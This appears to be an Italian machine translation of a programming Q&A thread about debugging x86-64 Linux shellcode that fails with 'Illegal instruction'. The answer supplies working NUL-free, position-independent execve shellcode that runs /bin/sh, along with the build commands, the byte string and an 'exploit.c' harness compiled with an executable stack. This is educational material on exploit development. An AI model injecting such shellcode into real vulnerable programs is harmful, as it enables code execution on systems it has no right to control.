Shellcode: istruzione illegale
Sono nuovo nello sviluppo di shellcode e non riesco a capire perché lo shellcode generato non funzioni come previsto.
Codice assemblatore:
Basato su una risposta alla mia domanda precedente.
.section .data
cmd: .string "/bin/sh" /* command string */
hand: .string "-c" /* command arguments string */
args: .string "ls -al" /* arguments string */
argv: .quad cmd /* array of command, command arguments and arguments */
.quad hand
.quad args
.quad 0
.section .text
.globl _start
_start:
movq $59, %rax /* call execve system call */ leaq cmd(%rip), %rdi /* save command to rdi */ leaq argv(%rip), %rsi /* save args to rsi */ movq $0, %rdx /* save NULL to rdx */
syscall /* make system call */
Codice di prova C:
#include<stdio.h>
#include<string.h>
unsigned char shellcode[] = "\x48\xc7\xc0\x3b\x00\x00\x00\x48\x8d\x3d\xf2\x0f\x00\x00\x48\x8d\x35\xfd\x0f\x00\x00\x48\xc7\xc2\x00\x00\x00\x00\x0f\x05";
int main()
{
int (*ret)() = (int(*)())shellcode;
ret();
}
Produzione:
Illegal instruction
Dettagli: Kali Linux GNU / Linux i386 x86_64
Risposte
Il problema con il tuo codice è che la stringa della shell che hai generato non include nessuno dei dati. E i dati includono puntatori assoluti, quindi non sono indipendenti dalla posizione, quindi non funzionerebbero se li spostassi .texte li includessi. Una volta eseguito all'interno di un altro programma come stai facendo nel codice C , il programma tenterà di trovare dati che non esistono e in posizioni di memoria fisse che non si applicano al programma sfruttabile che stai eseguendo all'interno.
Penso che potresti avere un altro problema che causa l' istruzione illegale . Non mostri come costruisci il tuo programma C , ma mi chiedo se è a 32 bit e il tuo codice shell è a 64 bit. Sto cominciando a pensare che il tuo programma C potrebbe essere stato compilato come un programma a 32 bit e l' istruzione Illegal potrebbe essere perché non puoi eseguire in modo affidabile il codice a 64 bit (il codice della shell) in un programma a 32 bit. Ad esempio, l' SYSCALListruzione è un codice operativo non valido in un programma a 32 bit su CPU non AMD. Questa è solo un'ipotesi in assenza di ulteriori dettagli su come compilare / assemblare / collegare il codice della shell e il programma C.
Dovrai generare codice indipendente dalla posizione (PIC) in modo che possa essere eseguito ovunque una volta caricato nello stack. I tuoi dati dovranno essere inseriti all'interno del segmento con il codice. Il codice deve anche evitare di generare il carattere NUL (0x00) poiché ciò terminerebbe prematuramente una stringa se fornito come input dell'utente a un programma sfruttabile effettivo.
Una versione del codice che potrebbe essere utilizzata per tali scopi potrebbe essere simile a:
shellcode.s :
# This shell code is designed to avoid any NUL(0x00) byte characters being generated
# and is coded to be position independent.
.section .text
.globl _start
_start:
jmp overdata # Mix code and DATA in same segment
# Generate all the strings without a NUL(0) byte. We will replace the 0xff
# with 0x00 in the code
name:.ascii "/bin/sh" # Program to run
name_nul: .byte 0xff # This 0xff will be replaced by 0x00 in the code
arg1:.ascii "-c" # Program argument
arg1_nul: .byte 0xff # This 0xff will be replaced by 0x00 in the code
arg2:.ascii "ls" # Program Argument
arg2_nul: .byte 0xff # This 0xff will be replaced by 0x00 in the code
overdata:
xor %eax, %eax # RAX = 0
# All references to the data before our code will use a negative offset from RIP
# and use a 4 byte displacement. This avoids producing unwanted NUL(0) characters
# in the code. We use RIP relative addressing so the code will be position
# independent once loaded in memory.
# Zero terminate each of the strings
mov %al, arg2_nul(%rip)
mov %al, arg1_nul(%rip)
mov %al, name_nul(%rip)
lea name(%rip), %rdi # RDI = pointer to program name string
push %rax # NULL terminate the program argument array
leaq arg2(%rip), %rsi
push %rsi # Push address of the 3rd program argument on stack
lea arg1(%rip), %rsi
push %rsi # Push address of the 2nd program argument on stack
push %rdi # Push address of the program name on stack as 1st arg
mov %rsp, %rsi # RSI = Pointer to the program argument array
mov %rax, %rdx # RDX = 0 = NULL envp parameter
mov $59, %al # RAX = execve system call number
syscall
Puoi generare una stringa in stile C con:
as --64 shellcode.s -o shellcode.o
ld shellcode.o -o shellcode
objcopy -j.text -O binary shellcode shellcode.bin
hexdump -v -e '"\\""x" 1/1 "%02x" ""' shellcode.bin
Il hexdumpcomando precedente produrrebbe:
\ xeb \ x0e \ x2f \ x62 \ x69 \ x6e \ x2f \ x73 \ x68 \ xff \ x2d \ x63 \ xff \ x6c \ x73 \ xff \ x31 \ xc0 \ x88 \ x05 \ xf7 \ xff \ xff \ xff \ x88 \ x05 \ xee \ xff \ xff \ xff \ x88 \ x05 \ xe5 \ xff \ xff \ xff \ x48 \ x8d \ x3d \ xd7 \ xff \ xff \ xff \ x50 \ x48 \ x8d \ x35 \ xda \ xff \ xff \ xff \ x56 \ x48 \ x8d \ x35 \ xcf \ xff \ xff \ xff \ x56 \ x57 \ x48 \ x89 \ xe6 \ x48 \ x89 \ xc2 \ xb0 \ x3b \ x0f \ x05
Noterai che non ci sono \x00caratteri diversi dal tuo codice. Puoi usare questa stringa direttamente in un programma C come:
exploit.c :
int main(void)
{
char shellcode[]="\xeb\x0e\x2f\x62\x69\x6e\x2f\x73\x68\xff\x2d\x63\xff\x6c\x73\xff\x31\xc0\x88\x05\xf7\xff\xff\xff\x88\x05\xee\xff\xff\xff\x88\x05\xe5\xff\xff\xff\x48\x8d\x3d\xd7\xff\xff\xff\x50\x48\x8d\x35\xda\xff\xff\xff\x56\x48\x8d\x35\xcf\xff\xff\xff\x56\x57\x48\x89\xe6\x48\x89\xc2\xb0\x3b\x0f\x05";
int (*ret)() = (int(*)())shellcode;
ret();
return 0;
}
Questo deve essere compilato e collegato con uno stack eseguibile:
gcc -zexecstack exploit.c -o exploit
strace ./exploitgenererebbe una EXECVEchiamata di sistema simile a:
execve ("/ bin / sh", ["/ bin / sh", "-c", "ls"], NULL) = 0
Nota : costruirò personalmente le stringhe a livello di codice sullo stack in modo simile al codice in un'altra risposta di Stackoverflow che ho scritto.